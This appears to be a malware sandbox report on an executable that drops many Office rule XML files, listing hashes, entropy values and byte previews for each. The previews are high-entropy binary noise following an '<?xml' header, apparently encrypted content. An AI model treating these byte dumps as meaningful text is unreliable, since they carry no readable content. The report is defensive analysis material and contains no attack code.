Preview:	<?xml.Z.C0....nZ........@ ..n..Ox-y...QI...y.=.{...Y_v.dE...%..p,+.4t.m...am.....).caXq.6xZb".......T$tWW_..!L..).K.t1...O[.B.e.!..vJ.;G.r.H...alX8.....:....'\...`.....4.@....k..ey./q.E.N.].^........pM.S..9..7%....s..Z....j.+._a.?..t.....lG~...K%......&...5.No...a--.....@.4 .B.....]+.m.O..._....Y{.ST...I$....3.U>R/x#..=....T...=.I.i..s....ta.D...\....\|...U.p.&`..H.^@..".. W(.....\......f@.S.....q.j...8d....tN...g:.si..f.i,TlN....o.\.1@K.........BG..!..c..1.kh....tC.x..~...>P.;..Se..{V\.g.K.hO...._....\b.....!.V..@R....@....:.......Y.....4;..3..5'.)*.....P6.p.../.u[....B..Z.~~..J.......C..G7.....t..T.H9z./b....&.F{.:t2/.k.S.q.n......{.[..\K.$#...O6.;3..W.?.R.[....7I..?..>g.....R#...;.q......Ew=XofO5.6..........y.wJ........V-.]T...).I.!..bvW.&?..0U....3..hM.....)G..#;..3o.8E[....~.xE...v....JI8~..c6..........{.....8j..;?..%@-.a..k..~,..}.Y....(..a.i...O...9'...Ud^.C..3.cc........; rq.a&.}J./7U)[{......4d...^P.....U......\.N..`.n...5M^._...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.871511101556105
Encrypted:	false
SSDEEP:	48:uVKcYlZ1hqVIC+GHvJGlZYVf38KP1zDrNbP5uR3nD:C2Z35C+GRuZMkyHZY9
MD5:	7BD5E879208A77BDB3DE10BFC91A32B0
SHA1:	18084378BF9F3EA077716E64A862767A48681CDB
SHA-256:	D7218E59959498B53F7DEC536CBBE1C1A2F17D2B40000FD5F2A78C9B237EFF4D
SHA-512:	949E2A2BBEAFF8ADAC3994E75D8906BD0EAE9EC6639694FFCC8299C62E53C40BDE38800CB727517AC79F01C2F38AEEF5180B77438F7902F2DA25A705EEE967E0
Malicious:	false
Preview:	<?xml......B........{b.[.$'.....A>}xy..ty....0...W...~0.Y$.F.B/.ck.....p.P.....WoU9.4^.y.....T.........6.$..I.M.&F=l...W.o$.M......Gn..o.....d.Y.......(.O.....<Y$...=.q..;......4.S...`.O.:.....j.V.......8..c...b:.N....\|.Kl.b..(..e.`.s..Dw.:R@..Y~.9...;.~.. ...E8..m}C0.......@Y...,......5..I.....6_SO...I.a........-A.c}b.]zr..;../I.D}'..V......RW.....0.c..H.i..J\5...n.........G7..J..)..1U.P...U....4@K...Y.....y...e.]....W...8.w..F.s8.Q....8p....M...E>.I.v..Yt6.......-$........e.V.....oq.......E.Je....I$..v.#...n..1.mn.Y....K~...b.#H..#.....8%.wv_.N....]S...c$.....G^G...Z.....-..="5Y...E'.W...2P...3.1<.H.V..ln.I....o..-.8[.W........lU.e!..YP....g....J?...2..U...UF...Y.2L.9Yv...3.+.6..'.DC..P...4..s0....:.fy.\|.C...4..v.{..K..'e..QCO..E....F......".S.......s....1<O...`D.n..g..k./..W9..5..>.....0u....2{5.gh.w...4...a..nk..x....6...Q...{,..#..S.....1...I).;.r\....9h....s.N.(..D..9r....9v.4.NJ..\|.W.y.Q" ..?c.R;w+.5..b..T..2..+..].Mb...S.....1.M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.895060137764523
Encrypted:	false
SSDEEP:	48:wFoeEucqENfAwM84l17ujbJeJPCNfCR6BoGsD:wsNYw2172bJeJPCNfCR6y
MD5:	BF0046C91D1F1D5EA83B06171803C922
SHA1:	404F69CE0BEF697F8AA02B77378990DC0148C593
SHA-256:	7B019D270778DAD841B0CF44E76880323769EF2AD686675ADE491492A3A38BE6
SHA-512:	6A9818DC8BF75D5F93D3451043055A74279AB6B7A3719108D62C42FA8122265C91579D3D613ED0C7FF88CC24B0323832F548CBAF04411F5E1F3B5AEC39C053D6
Malicious:	false
Preview:	<?xmlM.....i.v.PP\.x2k..Y,.1m.%\C...e...7.M.,...T.b.,.P..'QL.....n.1..T.P..P...v...z.;...w.B...x.........R.l......".>......q.K.H..kt/s...1....; e_..N..9...w.....[...R:_..\,m...(..AK.>.6.w...g......PP?}.eX~.b}...t.n...y....EC.2..K~Q....J..j.{...f.E..j.5.p.`.......h...`..~.P...,R.............c..h....i........n.<....5e.T.J...w?.5...~.b.M.8......AJk..y..4`sLT....c..(z...... ..B.+.,.'.w.xa..q.9...!...!.7...x...S....6......5.........Q....w..n;..V.>-./c...a..l.j...a..2`.....4.p.G.C...$n......H..{..p.....al...G....6(U-#.?..]I.x<.;..c2,......i^.Oi....K..g...ANq.N.}>5...a...h..q.s......O6.5&....g.?.......z.s.:y\|.FR.....2.4.~....?....MYvA...\>..:.)....'......(._w.`.%6C.%...[..".`'!...0.H...dU...w.6..M... ..Y.....c..u.W.....I}#,....i.3I.O@.=..3N.I.Btu..}.....k(..3...._.3r.xl...^/.n..g...d..d..!G....aUf67V$..u.,..#..I-.f.b.P.Y.Ui...m.....Uv..u...6......eQE.>.h.Vx....>.../..j..h,...4-`.n87wg.>x../......EL.:.UXR.w....V.ds.....k.hi.<...m.p.1.g.-`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.864414855496948
Encrypted:	false
SSDEEP:	48:N1n9hlFtETFDp2dtLB5mCQ3U6VKcvSANQniyXUD:n9rFtAUlfmCd6PfQiuA
MD5:	44DF51A6E0488415F2112BB452235E91
SHA1:	91FDD2E5A8D4F1FBAED948C00F90DBAA97C24B74
SHA-256:	1624760BB94EF6D4E5918D4CB700151485ED2D761C44956982BB3F55EFE0DD1B
SHA-512:	D897FF4813EFB701262F54E0BB0C75C3ACD5BED1142B713C2548C79DC630C2CFB075D8FCB52F9112B65F3030B1A153E09820FF6E1CCCA5DD47EC817D6C36C238
Malicious:	false
Preview:	<?xml.4.7.../.=F.7..M.......4wW..>........C.ZR}..V......U]..]..;.H...;?.s..{..z.]b...ajW.S.0a..C...7a..ka....T.H>y.9#1+..\|.6.N.N..h..o..x.x....rXb.+.v{.U.K`.....a.\.lQ......?`S....G.0..... ....a..\=:..UK.m...#..+J.v.>D.2.@D}.x...=y.L.!.).<...s..u...~.67....Z...a%.WY...5..Kq....;f...%o...,P...:.w.F.W..[.......4.q..0.......4%..i.=K..s..C.u@..>..w]...&..s.d............ZQ.v..?.Yb;......}n.g.4.a.S....4{..(.EI?...A...n..X.T....4xK..UJ...`8.om.M...p.a....N...M.'.....hl........f.tD{.`#s.g.m...g...Q.&L...?..ME.=....`............{..... ..._o\.p.P.#.....).6e.......n~..K-...C<.9.XI.\:...'.~...tM......r..N..o..k....xP....&(..KF..._+..@R..>%].G.0..^R.DJ.z\|...O.q.&..`.b.bph.A..6.G....;.].:..h.a_..'.@h.tt.mdv.;..R..P............~.G.U...w.@#.,.X.D..G...\|3...........D.X.P43.....mkX.:.z`.%....c.3\U.;H.......?.j..[#..D1*....}v..i.....u..sE3.L>X.q.s.[).$y......y...$..H.a...g.....+.w.....;K.F.`.....M.b.....?Dl.e...I.G1_^$.o3&...A...M#.."./0.l.".....[b..N..1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.888277613605314
Encrypted:	false
SSDEEP:	24:OUqpu46+rnC7AY3Ulhd4AgPJQPjSDCICWE85ddqnGgkhvaUwCLiuMOKjJSSdMAbD:Olpce/YQeA2SLqC6EgdqnG1ZBWjSSSaD
MD5:	4DBF0B998D7667C3A97BDA192B6AFAD5
SHA1:	03E69A65393C816334CB4942E59D2FDD84D6DA91
SHA-256:	1C31377AB0EA8762B2348584665E9F0BCD8133519DDB770312BA960CA544C7BA
SHA-512:	215FFDCC95B86DF0A5E1DCD1ED55511C24BCA55111DBB75FC1B16B6D0350008830D833A05CD1FFE110AB26E30E478FE3FB9DC88C47BE048CA9245DBD5F715AE9
Malicious:	false
Preview:	<?xmlYfW.E.O.nA:&('.o).h...g.....Eag.S...k.[.\..r.`..u..Sdk.1-...V...OP.......Mx...b%.V..)..y......Nr..Z%..h..k.........{q...!4....4?v..5.,..pP......<L......9:.....N{.X....b...A\....P.S..s7..<.]..E4,./.G^.....1U.IS.]dm.u.S..}....@.....@...W.a.yh.........E..pjo..^..4Y...oE.[.q.z...t.....RS.Jl.._..5....TG..L....<..y>`...q.~....:m...)..n.m...........\O.i.3c.R...jq.m...EJ.zg.L.....1.f.... f,...W>:tB....R!,.q.3.#.7.I.B....EM.../.#.~o....p>.....8cr..y....O..x...xV.....].1..._B.at.S5...../...r.R...J..WO.z.....^..E......w!v6..Ou/...!.c..........a.H....d..\|..$?..koY....D..M.<.....r..G.T.. ..R$.2..,..+).......p@.....!..z.._...........x.[.....x:vI.....[....6......~..[c6..KK}..z.LfP.. ..'"3...<%..]x........0z{....i=..GR..B.L..]4.cm..j...5.\|.L..W.X.-5...L.w.0..W.s..W.s.._@...5..c:..-L..gAr..}..1...%Y'..._............@.=...,...I..p.I.5f...Ob...g)l..1.!jx...K..W.Gc.z)E+.....8..{.\.s.....kU'./.v..b...`....Z}.UW...H.f[x.m6........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.880991243383502
Encrypted:	false
SSDEEP:	24:NW++vUks+oTVZmvP4euiO/oJmUqtPCWDtOvcCRLZ1R9bHlP8fHqhTkzNlRhbD:M++vU12P4OQUqtPCCtOzZ7hUfHqhE3rD
MD5:	3F8FACDC541C02F0F03DD1A7D93BF77D
SHA1:	3AE308165393990F89795BEE412E95E2C3408F8F
SHA-256:	7ADF475F53602BCE1F050CFECBD618398090FB86BEF9E9E155A367E2FD3D3FEC
SHA-512:	5332EE2C76CA9396C546561E86CB82587A8E0495375DA54176C9BFF172F94C82BB21A02FD71DB4710D667918E596939D99770EE44B6CD63CAABBCA5D38CDBFAB
Malicious:	false
Preview:	<?xml>..S.9.RL....Y.......s!#.\.."fqZ.rg..5...dY.C...6;\M5yp.n..(y...F.aG(OD.cx`...k..n.i2....nV.L.``h7...D..}z.s.\.{M ..H.^.1..u...P-.M ....=..+q...dz.h6..... .q<-7Qx....?l..'.9..}..5...N.I..H.'n..".h5..M..(...([E..f.O..U%.".G...6......h..;6.;..(....)..p.:........(.rJ^.urYf.e..8.i-..#.z......!bKa/.J.;...1.........X...w..(.....by'..o~....Hdr.y.]}.0..tsXA..j%C)S....,6....>R.J6~.;...O?3@e.x`.c[...3...d.tb.-P~!.X....6KW......e%.C.].O.a....f.....).CM...L.3...C.o..(.1...<....>...Jx..Z..@i<..F:....)..{v+..B.v+C.L......c....w..,.I......r.G...........@.C.U.w.L~;7.A.^..5t..`..hh)]...e..\|...d.~'.i....}<...:.y....@].....(...DS5e@...AiO...P.W...g.Bv..p..6Y.....d:.fU..q...4?..#.y..6......$.F..o.w..pog.7..5..i7....Qv..._wj.8L.T...R...n.W..q.......MiD..._..ZFF&.9!...m....g....u.H~f.;..1g..(......GgF...kk=.3..A.@h..CZ....I....u.7l.,n.J...F.0.no.qX.3..E.......?...K.sdNg.#l..h..8....%J@+...0.._..b..84E.D..M=*9......G{...^^.3.F..B..P.dT.yko........EV.7.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.892136039784117
Encrypted:	false
SSDEEP:	24:HBt0yPmPliAHTgKvhvVCGhztB822CRU42wcSfJORUEGKzzoxRt2e7LVCR5PhZbD:HTZuPlVHT5p5ztB8N3ybKzsxr2+8DJZD
MD5:	4593176EE4128A0244F9468C685136FA
SHA1:	672F566B62CB7E15AE75F01F4D1A8E2EE2CF66A9
SHA-256:	5551F087EBFA82EBF43ABFC299DAFC243813E687551040747AE60C0C160D1650
SHA-512:	C6F0B5E4D269B55A09E5975C4A6DCBB880FD6ACB647BAFCF74A6C2A2A16410B3718F341A4AD9DFFF98178FF696653B47BC0674D484F7FF4B042487C2AAC12F31
Malicious:	false
Preview:	<?xmliH.I.o.o..D....Uqn9..._.FbBP.{.y<.....A}..=.Qt......G....u.....h@<.X...T;@.;....4nl.5......B...q....n.X.......%.....Jk!...jB.)..C.JK..2Z.).b.SBvP..o(.&....yKqx8..v.....-uLQ.N.F9y.Y..F.....7.YS!_........:7.3.-.Q..&...b......P....7....P./.4.b......gp....kr...A......o.."V..f~.T.....H5.......A..9ws".8r..2.F1.P...#J...Y.jmMW..s.....pM.S......x.A&.EJ.M..hkS.7..t.7.\..q.EQ..S.(r./f..k..^..yt...S.lW..a....\.W.....".__....{WvrK..........MC...5a.'..E....12....Mj<4g..Y...^.......a..2.......}..9..Te.Hk.>...n...;....v..>.I&q.;...-...;..)..;.r\|K...V....}..V...-..@$.E$..2...[\|.<..........e..kRL.Ym@p.G.g.x.rfP.@.....(-..%H......B.t$......s...>....6............w.u.9...s+..)...$..@.....G./.t.}0\|.E.......z.l).....#....^}.........[...M.O<..M...4...bl...&q.m.p...B...Vs....:..xZ:..............$hD~.._V.\WD..#....>o....Ky\..;...*. U.m>.0.sn.Mw.Kp.."..B.M..uHEx...A.\|vf...d...".z........Y\|...h.@gm....p..?C3..f".....vI5...C.H...W..m.._...4.B.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.887152486529544
Encrypted:	false
SSDEEP:	48:Hbg/a8Ijipo0+GX9TgyijMzxy/1ey0CjqD:HUuQTgHY+oydji
MD5:	2D22A7C9487208AD22D6BC7525202643
SHA1:	FF8084A2CA0022E5BE693E1459F3F463D5C11529
SHA-256:	DD53FB58DCC3BBEEEFE7BCA71944C0988FE0C625C957A12652F0EE289DAD6509
SHA-512:	073EB7DAB07CCEC78C3F88C0426752B61E958C2A828A9B108A347ADC51661BD2AD2B3E11153BBA017566BFC190F0566766F33FFFB0FD6BD15F45BF91D1CBC893
Malicious:	false
Preview:	<?xml..hJ.>.[M.Y,7C.._.S....P);g.#.L..1....TJ...[..ER.J:.>\|b.Ss..o2.vx.H....c..k...u.N!.Xi..Rr.$....{e....N.&w.+F."..s04`<.B).....E~l<3...1.qH.....7.+.....Z..^......Q%e.........@..[.\.....lUl./..........a.NQ......}ze...LX.M..5~L.....ttLD...9.-.J. ...N..>..n..h.4.-................>u.....w.........iE....A..0'....B.f`OZ.q..MtZ..B..'......{...?..S..cd}..6.t......}b.-Gc..A[..F.`......v.. ....yC..\.KR!?..E._....0.....FV..Q\..\...Z.uD..v.fw.\.....FT.(...J.....M.%-,.....:.3?....]....3."/[.....6..1.p....A.SM.....<J..NHi..a....U.1..Fr^{...8.?.....O=.-gM...i..e.s#=.,^.u.q31..C.....={.-n....]u..%5=...I{l!.J....W..........,x.....k..8C...xu......0H..y....=..D.........j...w...m.h]s...yLh2.......l....../n.%?8n...T...v.LH...an.Oyt..8...X..Y...:.+^y.....*......A...9..}...?h..V..V.....d.b.."Q..B..R.%..W......... &.j+......RV..j8....4..S...._-.I.....8.YSi.h._o4.f.......7.n.Y{d..6./.A~..QD......+...........L.&`a.....`k.kk.....!z....&IY..F\|m.x?,p..F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.879692685193907
Encrypted:	false
SSDEEP:	48:osZSomdgkp6RU5yar2f6NzoMOLJfj9JuJSJ/CxhFXqpwD:osZSbn4kr4oU3Zj9JuJWiM6
MD5:	E13E12B95D1440AE32BA5CE23D5033FD
SHA1:	D910DB4A2EE7C38BB0D441A4C9D807EC33EF61E5
SHA-256:	16F39280FFB9775CFB512D7231168244BBD133CA9C0EDD254D8107EE9AB17C69
SHA-512:	70F26B1D43921177769BF2D831AAC87CF6B37BE463B7F32340A1F378CECAC7B63DD498CC3A80E2DBB06E980EC0473E2BE93C8448A3F1FA8B905FFF05499F0A8A
Malicious:	false
Preview:	<?xml...... "A.>...e`..=.-.m.AM.d.D..d7.c6.\|.Q.....(......+..+.].../....)L.wC......o.Ba..h.R...I_e..j.......KR..kV-.7.._.)Z$.Q...[..^R.$;....}v.]>.aA.......D.......\.V=..o.b.&D7..C.E....{x...wC.<j{n....E.....K..?.\..U=J-.u..!B..W..9-.h...0?1....1.....q.D...>~.!......=..rY...eh>......p@2E..2..t...].2F...[.U.......9. .4(Q3 ..O;....l4.]1...QnP~(.%..P$.+....w....l........T..p..i\.M.....J:\shY...c......E.x8...\|...=U..%.....v....}.".>.....?.-..........S ..mh.[.%}.98.......M.!.......J.+A5..z..>9..}.'Jfi^....\`&...$o..2c._......m..x..G..j...hi.. ......x.....>.H.M...3.....W!.[...B.a._...#.y$..^{.#.P.q...\.j......{HkV.O....V)..bU.....t.m....l.B.U...\|H.N...Ma.-.Z.~.....).c.e.9(...-...{.I...:.u....]Xp....a...[5?........9..Ed..V.<N..Pw.....;9`.m.......58..i..e.Y.R/..........x.^/....w.l.M.X......p......t..2....9.......d.6.l.U.(<....&....-..S..u...%.....2.6Hx9./....L..".P...^.{.-.....j...JR3.Mh.Rhw...$.K.....F[v8R...[-........J....:.~YVI'.O.\..9:.Q..{......,.9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.9003191841699625
Encrypted:	false
SSDEEP:	48:jqrn4kKnpJ7qtfcsYEqsgcFrZgOHxJK2sNxGD:ub4kce5r2wxk6
MD5:	A9A916014E687EAFFEF18DEC829A9B4D
SHA1:	5890892FE743C90E8992D9D441FF9627A3B1FC7C
SHA-256:	4BCEFC170928CFB9207EC7F3632002221FDCB470C0C824CA7DD3362B586116D9
SHA-512:	489705ECAFF9780624FA154C4EBADF377C0A7A8FD2AB02004428F571713B1418ACE26096B164577C2ED81732BDA549AC09C3547CF597ED4869C2FFAA280A7513
Malicious:	false
Preview:	<?xml&1.n_...".;[P...uzL8P.].\...+.7......c..'N%v.@.#...........F.$2...{.......F..w..h7]~`^.0.FSrI.;..F,.T.........).f.-.X..=.w.s...RL.AS..U..o..; z.70u.E..~...@&q9....4Fo2P...;......T......+.W...71.dd.!.v...P\....$...;3...G..N+^ N~..=$`[:M.:6....V_...........4#.._a......{....._=....mkz.H&C.!.........#YVw-................}.m.i_K.Tc..dp.1....!g..x.K.\|.q..X...Z.:...g.,T...........c.....L...?.P XoE..O.?..]p.E..%IE.}...E.~.x q..shCOH..^Dc..._........J[P.(.9.8...........Q..Qu6b..ZZ9...:.F...FR.CE....\.lz,R...K..'..> .r.</a.F..Lw%.mc.I.J.....i....`+...S.......0.w.%{.+w.X^..K.,\.U.D_.M^-qh..'.r(..Tv.{......O.R..[01h."...i...a.<....?.H.?.6..~...:..%.#ceD.*a..........H?.? J$.%.O..........\|D..P..BG..}...b./......?CmL....W..#2..@_{....uD.s..Z&L...&.xg.j.P.5.....:..=......#....c..A....7...r%...e....................46.2.Y.v.D)...-3?.t.u..Nyk.....W..F....`...+f.'..d.......P.<..@.....6.EH......'.H...._._.i6.U..6...R1.W.$L....%.=.Q.,J..j.^..2...I.A..l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.883669257515168
Encrypted:	false
SSDEEP:	48:KaC8nmQvlb1kBeZsCKKW10GZWFpfz9razalz5D:KaCGHQC7TIW/L9rxlzx
MD5:	834B61357CA24CF9F21CEA9C8D7701E6
SHA1:	C865693BBAFFA0CA7E22B6BBB8567B05CDA11BAE
SHA-256:	EEB271298829317C18446907EEF2522E08040DE5770204D87E2BEA90AFBE608C
SHA-512:	F0E6578457B55C6537F4ED2DCAF3DD5A0835EDE803F7DB8B27959F5E6D2E2C8D4544A5CA2C9F64F01CF82A9B2320C1C22D7792E3A16CCDF4214E7D1AC521A176
Malicious:	false
Preview:	<?xml.....4.IU.3y....z.....j.}.%..j...;.....9.....w.6..Q..P..Z;..Gy!4...o......&.....qP.$.....+t.Af.M..@wk.L.Y.......<P..&g#~...c;.Z=...^.7....S..V?M..hd.s$.K......w....=#.....#...OAd0DB.....9v.tA...{...E.+j........@..~....VQ..'..<......p......4.A.....mN........._..1As.....TA.u...A.W.c 0.xe.[.$..... ..)%@..lEf...].?./Icv.u.?P...j....g...NS...~T2..h....V...)..7.....`.x....?. >.V........Y/d/s..D.....`2.:.P^.../..^.[)...B...`...;h!..GKc..".I.Lw....,y......3[T..c..TDki.w..\..3..d...D...i...Q.L.N@C .......6..o.oE.ln...+......J.L.......g<.C.:K.;.H.T.3AB$.....j...b/......qA.....t..9...J..o..."K.C2\|....on.-O.zw.....p].....l.T.....19....[./../.L\P...o....+uQ.En.:"w.p......:............3..@+[..+@N....,.....(`>....!..DJd.........yuY..4X......O\]pO.(.N...=G3..{.'Lp.......]......v.={.9U=.q.0...'R..{3.E...-.+P..y:......).`.\.=...o(M...0C,`.He............:a....:D;....U......z..............PJ..`ZH$N. ..T'..K..KM.r.>TX.p4nZ{r. ...v(.6...'....v.S.5.cr

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8916122180054025
Encrypted:	false
SSDEEP:	48:YbwyK0HEU65fatvCrZHecv+ITgamFQp461rI9ChRD:IwyK0kx5fatIj+ITgamsb1rI9CD
MD5:	65BCA95933148A12C9EFDE64F5037948
SHA1:	E67F3B3DDBD15582E1655430EA885DCB094DF609
SHA-256:	13F331750D9CF83EABB6CB85F954620865AA3A7BA4A4C3B7FDEBBAB156F28F94
SHA-512:	6F59CD42DA6964F4620CEFF0E93121E694D318E5BA64FAA031D70A3204C6D8BE965048F6AF2831B60324F7B4311FD2FF57C11B204B99B310C1509CBE67B792B7
Malicious:	false
Preview:	<?xmlGz....vG.R..Z\..#......9\|..1....#.`.......E.5.>..e.W1kY............]$$.#.sl.....L\|d{.e....Pf._p.oc....;..\|....{eE1...-...}>:.:h$w.G..:....+.5.L.H.j.....c...P.->M.'L.s,.>FY.an.c..E.......Y..'.<4(.s.....^......3.vf..>.....D..~.C..&s......M.I\|.hg.]....xa...%V?...(q...)d..H..eQA.4.#......e./C.I..t...;76.u.)..3.a.LP........?,..B.L.b...$.].S....S8/..v..I.e.i..i..K.........w..s>..y....]@.8...E.&...z.M..z......+._$C..qi.4..T...w~(YE .D........ykv.K..nj. .#x..V..WY..............u'd.%(.5j..o#...;^....!....Ns.m..}H.C.%.K............^...}..h....Ap.kn\|..n}...N..p....`.&..W.F.U?6.?#2Z6.=....D%...?..Zq..l.\.0Zbw./.5..'........:.B.......&.a.p....J..I..].4...H.OI........w...f.+...\|....:....['....T.wp....e.Lf+k2.......\|....U.........!0X.jG....bfz.......M...h...yd.......@4&...o...>z.u#.../..6/....3.....(h..$..`.0..%...*P.~........\.4.{M.p..9e&..p.2....+...0<..]..`.YPa....!.F..=.&R..q...._q#3S..W_..$"...C.b....HsQ..N.../1..].R7...50...9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.892852101376597
Encrypted:	false
SSDEEP:	48:NBbTUTY148foXhfn/SNCfeJ+FkwZFvDs/Gif3D:3TG8oRfnaN8wwnri
MD5:	EDE36D5DC687AC7F483F5D5839FD1E3A
SHA1:	6416D62154285CD4ECD35556E0BD9577538FC32D
SHA-256:	E66A072B20140700272182D0BB2C391CA1CD214C32C96E2C783495EAB2210673
SHA-512:	10B575EAE47C8BA7D812B7956C0A61F02118165A935BC20F157BC1F6906613F18C3399ED91E13F115E0B26853A3834F327D3C24CA5E819EC709303C7E72EA01A
Malicious:	false
Preview:	<?xml ..le..$.[KJk...[f.o.(xn..........QX..jump..0..R...Q.X....&}...Nu4..`.....B._N.7...>[..zG..}....N)uB.WexR.y@-...'.&\|%.....e..D...{`..,h..am[(;Tr..:..E.'V3n.K}.J.3......@. ....(E._...Z_P..f1.]......ncJ.b5.....X..G.:3Y.6../"b....3[ ..r.k...i..C.\|<...@.....f%L..yy.......L.,.wk-...L.:....H..#.:.Z.$]g.K..4.,.E\|.x......&.@.5Xf.J....kF]...@.F.R.7..5..?..Ar..LeR.O#.gp..?.......!Jy..S.h.zk......\|R....#..p....a.2(wH.y@~...E...a..+.S.O..T.......p.o}..V.......:....'..R.~.=.'2.\[.q...../^&{uza<.N.`.?$.=.F'3&..).a.IO.d.'.md...6.!.$P.,.....p8.8.W<..J...?.B].f99...j...A.\.v&.vP.Lwz.>..V.OM.....\8h".......X..~....}v..p.K....V1.^+........'Fjv{$.....PHp.tl..cZ.F.XQ.7....OT....O..FAuGB.... .Q.^.~!.+<.]T..e.J...(..I.X...\|...k..Y.....b$A....<D...s..<.......V..l.#..7..,...).......'T..!f..W..lO.)U.u]u]F........ ...M$............o8.R.?c.c..?M....i.{VV.....~...;.(f.s................._>...ro...T._.J...S....fz'...K..Q}.g.........+...S.:.}{i=...Lj......lPa..}...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.901822222463402
Encrypted:	false
SSDEEP:	48:z10n5DuElp0FjGuv/wL8WpI0Nsffy/N36KthGCvD:50nRuEn0FjGuXfWK0Nmfm/th37
MD5:	558588A7EEA436275E3B7F837AED9430
SHA1:	DBA8E515D477126406256E5BD1290BD8625ED1A4
SHA-256:	4B8CAFAC57EE9BFB40C7F62B8DBB12740D065F5F4269CC859FD8F8C22CD502EB
SHA-512:	1FF11A0190376277524748FCE07D6780D9091BDC0292DEBBEF11EBD1A8C437F5239FBB76744CAF780B9C376ABFCBE59FA49ED982F18CF36EB6D64CDEC00D66F9
Malicious:	false
Preview:	<?xml.S!..03N.......~.....<.8.+.......6.=~.cC'.f:!.......K;Y....$.E.[.....?..$.(...8.$.={...v.H;. .L...$.2.'..fAr.>.<(wf.`.)J..........{.6....Y.1...........:\|.L...e..7.......#...X.a.....(.d.......Ji.^g{..E....=........m.>3...+.5.\|.....H.o.g..T..fe!...A..'...&q..S.{'.WM.x.7.)^k,$4.QBBR. ....<...W.P.......H..~.eS.T....[....(...>..11E.{X4'.0.\|..\.Ex8...f....J.J.....&}.......`d.W9i...]y..ry.vzp..6.r...sp.~....{..em4.....YP.A...F..&?C/.H..t.F...U.V............y..;.F.C._G..H.....A....8...sWI.5.o.....W../.L.>..].c.R...TM..g..=..%x.....-..#......[Ri..~...%..q...(.:ZS....)N...,.M<..G.d..$8.Q.}...+(.sY?.4..Z..%..&C..q..U..^f......+.VB.D^...I=.Hs.l.s..D...a...nD.....u..:..G.~..O8..D%.".....c.q.R.......6..#...[...f.<...m.;.x)........%.fZ.v.s.....>.kjD..\.Y...~.(.Mt..g...........P~....._..4!..W.+.....G.C.Fg..p.v.t.....]1.%. .t:yz...[O.L..d....).....j...Xb]K.g7..e;.3.....`:.......h..$.J.x.k....}".;./.8.....3.s5....."...c..SJ.P..#.z.q...6.0.H...b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.881253442339281
Encrypted:	false
SSDEEP:	48:PfHJGVMyadRl1nBauJbl8z6U54u9WgQED:PRb7nF+zAuFN
MD5:	CB7D6D26F9EC7367CFE0F726B8028B01
SHA1:	8AA07634C9E5378E087ED9BD78942AF4A3881452
SHA-256:	25C4FB67DBE637723D44BC6DA3145EBC9C80AD5A96274677C3213257C84554A0
SHA-512:	08F002419ACB0E756AEA2303FED167D2463B76170B185346434FAD3C8B986148606D6F0BE40A0AE2002FA1C29149FFFAA7CED9B2A4D090E56EE675C10E9EF597
Malicious:	false
